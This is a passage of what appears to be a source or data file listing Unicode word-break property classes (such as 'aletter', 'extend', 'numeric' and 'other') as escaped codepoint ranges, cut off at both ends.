d60-\u0d63\u0d66-\u0d6f\u0d7a-\u0d7f\u0d82-\u0d83\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2-\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0e50-\u0e59\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0ed0-\u0ed9\u0f00\u0f18-\u0f19\u0f20-\u0f29\u0f35\u0f37\u0f39\u0f3e-\u0f47\u0f49-\u0f6c\u0f71-\u0f84\u0f86-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1040-\u1049\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f-\u109d\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u135d-\u135f\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176c\u176e-\u1770\u1772-\u1773\u17b4-\u17d3\u17dd\u17e0-\u17e9\u180b-\u180d\u1810-\u1819\u1820-\u1877\u1880-\u18aa\u18b0-\u18f5\u1900-\u191c\u1920-\u192b\u1930-\u193b\u1946-\u194f\u19b0-\u19c0\u19c8-\u19c9\u19d0-\u19d9\u1a00-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f-\u1a89\u1a90-\u1a99\u1b00-\u1b4b\u1b50-\u1b59\u1b6b-\u1b73\u1b80-\u1bf3\u1c00-\u1c37\u1c40-\u1c49\u1c4d-\u1c7d\u1cd0-\u1cd2\u1cd4-\u1cf6\u1d00-\u1de6\u1dfc-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u200c-\u200f\u2018-\u2019\u2024\u2027-\u202e\u203f-\u2040\u2044\u2054\u2060-\u2064\u206a-\u206f\u2071\u207f\u2090-\u209c\u20d0-\u20f0\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d7f-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2de0-\u2dff\u2e2f\u3005\u302a-\u302f\u3031-\u3035\u303b-\u303c\u3099-\u309c\u30a0-\u30fa\u30fc-\u30ff\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua62b\ua640-\ua672\ua674-\ua67d\ua67f-\ua697\ua69f-\ua6f1\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua827\ua840-\ua873\ua880-\ua8c4\ua8d0-\ua8d9\ua8e0-\ua8f7\ua8fb\ua900-\ua92d\ua930-\ua953\ua960-\ua97c\ua980-\ua9c0\ua9cf-\ua9d9\uaa00-\uaa36\uaa40-\uaa4d\uaa50-\uaa59\uaa7b\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaae0-\uaaef\uaaf2-\uaaf6\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabea\uabec-\uabed\uabf0-\uabf9\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe00-\ufe10\ufe13-\ufe14\ufe20-\ufe26\ufe33-\ufe34\ufe4d-\ufe50\ufe52\ufe54-\ufe55\ufe70-\ufe74\ufe76-\ufefc\ufeff\uff07\uff0c\uff0e\uff1a-\uff1b\uff21-\uff3a\uff3f\uff41-\uff5a\uff66-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\ufff9-\ufffb\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U000101fd\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031e\U00010330-\U0001034a\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U000104a0-\U000104a9\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a33\U00010a38-\U00010a3a\U00010a3f\U00010a60-\U00010a7c\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010c00-\U00010c48\U00011000-\U00011046\U00011066-\U0001106f\U00011080-\U000110ba\U000110bd\U000110d0-\U000110e8\U000110f0-\U000110f9\U00011100-\U00011134\U00011136-\U0001113f\U00011180-\U000111c4\U000111d0-\U000111d9\U00011680-\U000116b7\U000116c0-\U000116c9\U00012000-\U0001236e\U00012400-\U00012462\U00013000-\U0001342e\U00016800-\U00016a38\U00016f00-\U00016f44\U00016f50-\U00016f7e\U00016f8f-\U00016f9f\U0001b000\U0001d165-\U0001d169\U0001d16d-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001d7ce-\U0001d7ff\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb\U000e0001\U000e0020-\U000e007f\U000e0100-\U000e01ef", "aletter": "\x41-\x5a\x61-\x7a\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\u02c1\u02c6-\u02d1\u02e0-\u02e4\u02ec\u02ee\u0370-\u0374\u0376-\u0377\u037a-\u037d\u0386\u0388-\u038a\u038c\u038e-\u03a1\u03a3-\u03f5\u03f7-\u0481\u048a-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05d0-\u05ea\u05f0-\u05f3\u0620-\u064a\u066e-\u066f\u0671-\u06d3\u06d5\u06e5-\u06e6\u06ee-\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5\u07b1\u07ca-\u07ea\u07f4-\u07f5\u07fa\u0800-\u0815\u081a\u0824\u0828\u0840-\u0858\u08a0\u08a2-\u08ac\u0904-\u0939\u093d\u0950\u0958-\u0961\u0971-\u0977\u0979-\u097f\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\u0a35-\u0a36\u0a38-\u0a39\u0a59-\u0a5c\u0a5e\u0a72-\u0a74\u0a85-\u0a8d\u0a8f-\u0a91\u0a93-\u0aa8\u0aaa-\u0ab0\u0ab2-\u0ab3\u0ab5-\u0ab9\u0abd\u0ad0\u0ae0-\u0ae1\u0b05-\u0b0c\u0b0f-\u0b10\u0b13-\u0b28\u0b2a-\u0b30\u0b32-\u0b33\u0b35-\u0b39\u0b3d\u0b5c-\u0b5d\u0b5f-\u0b61\u0b71\u0b83\u0b85-\u0b8a\u0b8e-\u0b90\u0b92-\u0b95\u0b99-\u0b9a\u0b9c\u0b9e-\u0b9f\u0ba3-\u0ba4\u0ba8-\u0baa\u0bae-\u0bb9\u0bd0\u0c05-\u0c0c\u0c0e-\u0c10\u0c12-\u0c28\u0c2a-\u0c33\u0c35-\u0c39\u0c3d\u0c58-\u0c59\u0c60-\u0c61\u0c85-\u0c8c\u0c8e-\u0c90\u0c92-\u0ca8\u0caa-\u0cb3\u0cb5-\u0cb9\u0cbd\u0cde\u0ce0-\u0ce1\u0cf1-\u0cf2\u0d05-\u0d0c\u0d0e-\u0d10\u0d12-\u0d3a\u0d3d\u0d4e\u0d60-\u0d61\u0d7a-\u0d7f\u0d85-\u0d96\u0d9a-\u0db1\u0db3-\u0dbb\u0dbd\u0dc0-\u0dc6\u0f00\u0f40-\u0f47\u0f49-\u0f6c\u0f88-\u0f8c\u10a0-\u10c5\u10c7\u10cd\u10d0-\u10fa\u10fc-\u1248\u124a-\u124d\u1250-\u1256\u1258\u125a-\u125d\u1260-\u1288\u128a-\u128d\u1290-\u12b0\u12b2-\u12b5\u12b8-\u12be\u12c0\u12c2-\u12c5\u12c8-\u12d6\u12d8-\u1310\u1312-\u1315\u1318-\u135a\u1380-\u138f\u13a0-\u13f4\u1401-\u166c\u166f-\u167f\u1681-\u169a\u16a0-\u16ea\u16ee-\u16f0\u1700-\u170c\u170e-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176c\u176e-\u1770\u1820-\u1877\u1880-\u18a8\u18aa\u18b0-\u18f5\u1900-\u191c\u1a00-\u1a16\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae-\u1baf\u1bba-\u1be5\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c7d\u1ce9-\u1cec\u1cee-\u1cf1\u1cf5-\u1cf6\u1d00-\u1dbf\u1e00-\u1f15\u1f18-\u1f1d\u1f20-\u1f45\u1f48-\u1f4d\u1f50-\u1f57\u1f59\u1f5b\u1f5d\u1f5f-\u1f7d\u1f80-\u1fb4\u1fb6-\u1fbc\u1fbe\u1fc2-\u1fc4\u1fc6-\u1fcc\u1fd0-\u1fd3\u1fd6-\u1fdb\u1fe0-\u1fec\u1ff2-\u1ff4\u1ff6-\u1ffc\u2071\u207f\u2090-\u209c\u2102\u2107\u210a-\u2113\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u24b6-\u24e9\u2c00-\u2c2e\u2c30-\u2c5e\u2c60-\u2ce4\u2ceb-\u2cee\u2cf2-\u2cf3\u2d00-\u2d25\u2d27\u2d2d\u2d30-\u2d67\u2d6f\u2d80-\u2d96\u2da0-\u2da6\u2da8-\u2dae\u2db0-\u2db6\u2db8-\u2dbe\u2dc0-\u2dc6\u2dc8-\u2dce\u2dd0-\u2dd6\u2dd8-\u2dde\u2e2f\u3005\u303b-\u303c\u3105-\u312d\u3131-\u318e\u31a0-\u31ba\ua000-\ua48c\ua4d0-\ua4fd\ua500-\ua60c\ua610-\ua61f\ua62a-\ua62b\ua640-\ua66e\ua67f-\ua697\ua6a0-\ua6ef\ua717-\ua71f\ua722-\ua788\ua78b-\ua78e\ua790-\ua793\ua7a0-\ua7aa\ua7f8-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822\ua840-\ua873\ua882-\ua8b3\ua8f2-\ua8f7\ua8fb\ua90a-\ua925\ua930-\ua946\ua960-\ua97c\ua984-\ua9b2\ua9cf\uaa00-\uaa28\uaa40-\uaa42\uaa44-\uaa4b\uaae0-\uaaea\uaaf2-\uaaf4\uab01-\uab06\uab09-\uab0e\uab11-\uab16\uab20-\uab26\uab28-\uab2e\uabc0-\uabe2\uac00-\ud7a3\ud7b0-\ud7c6\ud7cb-\ud7fb\ufb00-\ufb06\ufb13-\ufb17\ufb1d\ufb1f-\ufb28\ufb2a-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufbb1\ufbd3-\ufd3d\ufd50-\ufd8f\ufd92-\ufdc7\ufdf0-\ufdfb\ufe70-\ufe74\ufe76-\ufefc\uff21-\uff3a\uff41-\uff5a\uffa0-\uffbe\uffc2-\uffc7\uffca-\uffcf\uffd2-\uffd7\uffda-\uffdc\U00010000-\U0001000b\U0001000d-\U00010026\U00010028-\U0001003a\U0001003c-\U0001003d\U0001003f-\U0001004d\U00010050-\U0001005d\U00010080-\U000100fa\U00010140-\U00010174\U00010280-\U0001029c\U000102a0-\U000102d0\U00010300-\U0001031e\U00010330-\U0001034a\U00010380-\U0001039d\U000103a0-\U000103c3\U000103c8-\U000103cf\U000103d1-\U000103d5\U00010400-\U0001049d\U00010800-\U00010805\U00010808\U0001080a-\U00010835\U00010837-\U00010838\U0001083c\U0001083f-\U00010855\U00010900-\U00010915\U00010920-\U00010939\U00010980-\U000109b7\U000109be-\U000109bf\U00010a00\U00010a10-\U00010a13\U00010a15-\U00010a17\U00010a19-\U00010a33\U00010a60-\U00010a7c\U00010b00-\U00010b35\U00010b40-\U00010b55\U00010b60-\U00010b72\U00010c00-\U00010c48\U00011003-\U00011037\U00011083-\U000110af\U000110d0-\U000110e8\U00011103-\U00011126\U00011183-\U000111b2\U000111c1-\U000111c4\U00011680-\U000116aa\U00012000-\U0001236e\U00012400-\U00012462\U00013000-\U0001342e\U00016800-\U00016a38\U00016f00-\U00016f44\U00016f50\U00016f93-\U00016f9f\U0001d400-\U0001d454\U0001d456-\U0001d49c\U0001d49e-\U0001d49f\U0001d4a2\U0001d4a5-\U0001d4a6\U0001d4a9-\U0001d4ac\U0001d4ae-\U0001d4b9\U0001d4bb\U0001d4bd-\U0001d4c3\U0001d4c5-\U0001d505\U0001d507-\U0001d50a\U0001d50d-\U0001d514\U0001d516-\U0001d51c\U0001d51e-\U0001d539\U0001d53b-\U0001d53e\U0001d540-\U0001d544\U0001d546\U0001d54a-\U0001d550\U0001d552-\U0001d6a5\U0001d6a8-\U0001d6c0\U0001d6c2-\U0001d6da\U0001d6dc-\U0001d6fa\U0001d6fc-\U0001d714\U0001d716-\U0001d734\U0001d736-\U0001d74e\U0001d750-\U0001d76e\U0001d770-\U0001d788\U0001d78a-\U0001d7a8\U0001d7aa-\U0001d7c2\U0001d7c4-\U0001d7cb\U0001ee00-\U0001ee03\U0001ee05-\U0001ee1f\U0001ee21-\U0001ee22\U0001ee24\U0001ee27\U0001ee29-\U0001ee32\U0001ee34-\U0001ee37\U0001ee39\U0001ee3b\U0001ee42\U0001ee47\U0001ee49\U0001ee4b\U0001ee4d-\U0001ee4f\U0001ee51-\U0001ee52\U0001ee54\U0001ee57\U0001ee59\U0001ee5b\U0001ee5d\U0001ee5f\U0001ee61-\U0001ee62\U0001ee64\U0001ee67-\U0001ee6a\U0001ee6c-\U0001ee72\U0001ee74-\U0001ee77\U0001ee79-\U0001ee7c\U0001ee7e\U0001ee80-\U0001ee89\U0001ee8b-\U0001ee9b\U0001eea1-\U0001eea3\U0001eea5-\U0001eea9\U0001eeab-\U0001eebb", "cr": "\x0d", "extend": "\u0300-\u036f\u0483-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e4-\u08fe\u0900-\u0903\u093a-\u093c\u093e-\u094f\u0951-\u0957\u0962-\u0963\u0981-\u0983\u09bc\u09be-\u09c4\u09c7-\u09c8\u09cb-\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a03\u0a3c\u0a3e-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a83\u0abc\u0abe-\u0ac5\u0ac7-\u0ac9\u0acb-\u0acd\u0ae2-\u0ae3\u0b01-\u0b03\u0b3c\u0b3e-\u0b44\u0b47-\u0b48\u0b4b-\u0b4d\u0b56-\u0b57\u0b62-\u0b63\u0b82\u0bbe-\u0bc2\u0bc6-\u0bc8\u0bca-\u0bcd\u0bd7\u0c01-\u0c03\u0c3e-\u0c44\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c82-\u0c83\u0cbc\u0cbe-\u0cc4\u0cc6-\u0cc8\u0cca-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d02-\u0d03\u0d3e-\u0d44\u0d46-\u0d48\u0d4a-\u0d4d\u0d57\u0d62-\u0d63\u0d82-\u0d83\u0dca\u0dcf-\u0dd4\u0dd6\u0dd8-\u0ddf\u0df2-\u0df3\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f3e-\u0f3f\u0f71-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102b-\u103e\u1056-\u1059\u105e-\u1060\u1062-\u1064\u1067-\u106d\u1071-\u1074\u1082-\u108d\u108f\u109a-\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u192b\u1930-\u193b\u19b0-\u19c0\u19c8-\u19c9\u1a17-\u1a1b\u1a55-\u1a5e\u1a60-\u1a7c\u1a7f\u1b00-\u1b04\u1b34-\u1b44\u1b6b-\u1b73\u1b80-\u1b82\u1ba1-\u1bad\u1be6-\u1bf3\u1c24-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce8\u1ced\u1cf2-\u1cf4\u1dc0-\u1de6\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302f\u3099-\u309a\ua66f-\ua672\ua674-\ua67d\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua823-\ua827\ua880-\ua881\ua8b4-\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua953\ua980-\ua983\ua9b3-\ua9c0\uaa29-\uaa36\uaa43\uaa4c-\uaa4d\uaa7b\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaeb-\uaaef\uaaf5-\uaaf6\uabe3-\uabea\uabec-\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe26\uff9e-\uff9f\U000101fd\U00010a01-\U00010a03\U00010a05-\U00010a06\U00010a0c-\U00010a0f\U00010a38-\U00010a3a\U00010a3f\U00011000-\U00011002\U00011038-\U00011046\U00011080-\U00011082\U000110b0-\U000110ba\U00011100-\U00011102\U00011127-\U00011134\U00011180-\U00011182\U000111b3-\U000111c0\U000116ab-\U000116b7\U00016f51-\U00016f7e\U00016f8f-\U00016f92\U0001d165-\U0001d169\U0001d16d-\U0001d172\U0001d17b-\U0001d182\U0001d185-\U0001d18b\U0001d1aa-\U0001d1ad\U0001d242-\U0001d244\U000e0100-\U000e01ef", "extendnumlet": "\x5f\u203f-\u2040\u2054\ufe33-\ufe34\ufe4d-\ufe4f\uff3f", "format": "\xad\u0600-\u0604\u06dd\u070f\u200e-\u200f\u202a-\u202e\u2060-\u2064\u206a-\u206f\ufeff\ufff9-\ufffb\U000110bd\U0001d173-\U0001d17a\U000e0001\U000e0020-\U000e007f", "katakana": "\u3031-\u3035\u309b-\u309c\u30a0-\u30fa\u30fc-\u30ff\u31f0-\u31ff\u32d0-\u32fe\u3300-\u3357\uff66-\uff9d\U0001b000", "lf": "\x0a", "midletter": "\x3a\xb7\u0387\u05f4\u2027\ufe13\ufe55\uff1a", "midnum": "\x2c\x3b\u037e\u0589\u060c-\u060d\u066c\u07f8\u2044\ufe10\ufe14\ufe50\ufe54\uff0c\uff1b", "midnumlet": "\x27\x2e\u2018-\u2019\u2024\ufe52\uff07\uff0e", "newline": "\x0b-\x0c\x85\u2028-\u2029", "numeric": "\x30-\x39\u0660-\u0669\u066b\u06f0-\u06f9\u07c0-\u07c9\u0966-\u096f\u09e6-\u09ef\u0a66-\u0a6f\u0ae6-\u0aef\u0b66-\u0b6f\u0be6-\u0bef\u0c66-\u0c6f\u0ce6-\u0cef\u0d66-\u0d6f\u0e50-\u0e59\u0ed0-\u0ed9\u0f20-\u0f29\u1040-\u1049\u1090-\u1099\u17e0-\u17e9\u1810-\u1819\u1946-\u194f\u19d0-\u19d9\u1a80-\u1a89\u1a90-\u1a99\u1b50-\u1b59\u1bb0-\u1bb9\u1c40-\u1c49\u1c50-\u1c59\ua620-\ua629\ua8d0-\ua8d9\ua900-\ua909\ua9d0-\ua9d9\uaa50-\uaa59\uabf0-\uabf9\U000104a0-\U000104a9\U00011066-\U0001106f\U000110f0-\U000110f9\U00011136-\U0001113f\U000111d0-\U000111d9\U000116c0-\U000116c9\U0001d7ce-\U0001d7ff", "other": "\x00-\x09\x0e-\x5c\x26\x28-\x2b\x5c\x2d\x2f\x3c-\x40\x5c\x5b-\x5c\x5e\x60\x7b-\x84\x86-\xa9\xab-\xac\xae-\xb4\xb6\xb8-\xb9\xbb-\xbf\xd7\xf7\u02c2-\u02c5\u02d2-\u02df\u02e5-\u02eb\u02ed\u02ef-\u02ff\u0375\u0378-\u0379\u037f-\u0385\u038b\u038d\u03a2\u03f6\u0482\u0528-\u0530\u0557-\u0558\u055a-\u0560\u0588\u058a-\u0590\u05be\u05c0\u05c3\u05c6\u05c8-\u05cf\u05eb-\u05ef\u05f5-\u05ff\u0605-\u060b\u060e-\u060f\u061b-\u061f\u066a\u066d\u06d4\u06de\u06e9\u06fd-\u06fe\u0700-\u070e\u074b-\u074c\u07b2-\u07bf\u07f6-\u07f7\u07f9\u07fb-\u07ff\u082e-\u083f\u085c-\u089f\u08a1\u08ad-\u08e3\u08ff\u0964-\u0965\u0970\u0978\u0980\u0984\u098d-\u098e\u0991-\u0992\u09a9\u09b1\u09b3-\u09b5\u09ba-\u09bb\u09c5-\u09c6\u09c9-\u09ca\u09cf-\u09d6\u09d8-\u09db\u09de\u09e4-\u09e5\u09f2-\u0a00\u0a04\u0a0b-\u0a0e\u0a11-\u0a12\u0a29\u0a31\u0a34\u0a37\u0a3a-\u0a3b\u0a3d\u0a43-\u0a46\u0a49-\u0a4a\u0a4e-\u0a50\u0a52-\u0a58\u0a5d\u0a5f-\u0a65\u0a76-\u0a80\u0a84\u0a8e\u0a92\u0aa9\u0ab1\u0ab4\u0aba-\u0abb\u0ac6\u0aca\u0ace-\u0acf\u0ad1-\u0adf\u0ae4-\u0ae5\u0af0-\u0b00\u0b04\u0b0d-\u0b0e\u0b11-\u0b12\u0b29\u0b31\u0b34\u0b3a-\u0b3b\u0b45-\u0b46\u0b49-\u0b4a\u0b4e-\u0b55\u0b58-\u0b5b\u0b5e\u0b64-\u0b65\u0b70\u0b72-\u0b81\u0b84\u0b8b-\u0b8d\u0b91\u0b96-\u0b98\u0b9b\u0b9d\u0ba0-\u0ba2\u0ba5-\u0ba7\u0bab-\u0bad\u0bba-\u0bbd\u0bc3-\u0bc5\u0bc9\u0bce-\u0bcf\u0bd1-\u0bd6\u0bd8-\u0be5\u0bf0-\u0c00\u0c04\u0c0d\u0c11\u0c29\u0c34\u0c3a-\u0c3c\u0c45\u0c49\u0c4e-\u0c54\u0c57\u0c5a-\u0c5f\u0c64-\u0c65\u0c70-\u0c81\u0c84\u0c8d\u0c91\u0ca9\u0cb4\u0cba-\u0cbb\u0cc5\u0cc9\u0cce-\u0cd4\u0cd7-\u0cdd\u0cdf\u0ce4-\u0ce5\u0cf0\u0cf3-\u0d01\u0d04\u0d0d\u0d11\u0d3b-\u0d3c\u0d45\u0d49\u0d4f-\u0d56\u0d58-\u0d5f\u0d64-\u0d65\u0d70-\u0d79\u0d80-\u0d81\u0d84\u0d97-\u0d99\u0db2\u0dbc\u0dbe-\u0dbf\u0dc7-\u0dc9\u0dcb-\u0dce\u0dd5\u0dd7\u0de0-\u0df1\u0df4-\u0e30\u0e32-\u0e33\u0e3b-\u0e46\u0e4f\u0e5a-\u0eb0\u0eb2-\u0eb3\u0eba\u0ebd-\u0ec7\u0ece-\u0ecf\u0eda-\u0eff\u0f01-\u0f17\u0f1a-\u0f1f\u0f2a-\u0f34\u0f36\u0f38\u0f3a-\u0f3d\u0f48\u0f6d-\u0f70\u0f85\u0f98\u0fbd-\u0fc5\u0fc7-\u102a\u103f\u104a-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070\u1075-\u1081\u108e\u109e-\u109f\u10c6\u10c8-\u10cc\u10ce-\u10cf\u10fb\u1249\u124e-\u124f\u1257\u1259\u125e-\u125f\u1289\u128e-\u128f\u12b1\u12b6-\u12b7\u12bf\u12c1\u12c6-\u12c7\u12d7\u1311\u1316-\u1317\u135b-\u135c\u1360-\u137f\u1390-\u139f\u13f5-\u1400\u166d-\u166e\u1680\u169b-\u169f\u16eb-\u16ed\u16f1-\u16ff\u170d\u1715-\u171f\u1735-\u173f\u1754-\u175f\u176d\u1771\u1774-\u17b3\u17d4-\u17dc\u17de-\u17df\u17ea-\u180a\u180e-\u180f\u181a-\u181f\u1878-\u187f\u18ab-\u18af\u18f6-\u18ff\u191d-\u191f\u192c-\u192f\u193c-\u1945\u1950-\u19af\u19c1-\u19c7\u19ca-\u19cf\u19da-\u19ff\u1a1c-\u1a54\u1a5f\u1a7d-\u1a7e\u1a8a-\u1a8f\u1a9a-\u1aff\u1b4c-\u1b4f\u1b5a-\u1b6a\u1b74-\u1b7f\u1bf4-\u1bff\u1c38-\u1c3f\u1c4a-\u1c4c\u1c7e-\u1ccf\u1cd3\u1cf7-\u1cff\u1de7-\u1dfb\u1f16-\u1f17\u1f1e-\u1f1f\u1f46-\u1f47\u1f4e-\u1f4f\u1f58\u1f5a\u1f5c\u1f5e\u1f7e-\u1f7f\u1fb5\u1fbd\u1fbf-\u1fc1\u1fc5\u1fcd-\u1fcf\u1fd4-\u1fd5\u1fdc-\u1fdf\u1fed-\u1ff1\u1ff5\u1ffd-\u200b\u2010-\u2017\u201a-\u2023\u2025-\u2026\u202f-\u203e\u2041-\u2043\u2045-\u2053\u2055-\u205f\u2065-\u2069\u2070\u2072-\u207e\u2080-\u208f\u209d-\u20cf\u20f1-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2118\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u2140-\u2144\u214a-\u214d\u214f-\u215f\u2189-\u24b5\u24ea-\u2bff\u2c2f\u2c5f\u2ce5-\u2cea\u2cf4-\u2cff\u2d26\u2d28-\u2d2c\u2d2e-\u2d2f\u2d68-\u2d6e\u2d70-\u2d7e\u2d97-\u2d9f\u2da7\u2daf\u2db7\u2dbf\u2dc7\u2dcf\u2dd7\u2ddf\u2e00-\u2e2e\u2e30-\u3004\u3006-\u3029\u3030\u3036-\u303a\u303d-\u3098\u309d-\u309f\u30fb\u3100-\u3104\u312e-\u3130\u318f-\u319f\u31bb-\u31ef\u3200-\u32cf\u32ff\u3358-\u9fff\ua48d-\ua4cf\ua4fe-\ua4ff\ua60d-\ua60f\ua62c-\ua63f\ua673\ua67e\ua698-\ua69e\ua6f2-\ua716\ua720-\ua721\ua789-\ua78a\ua78f\ua794-\ua79f\ua7ab-\ua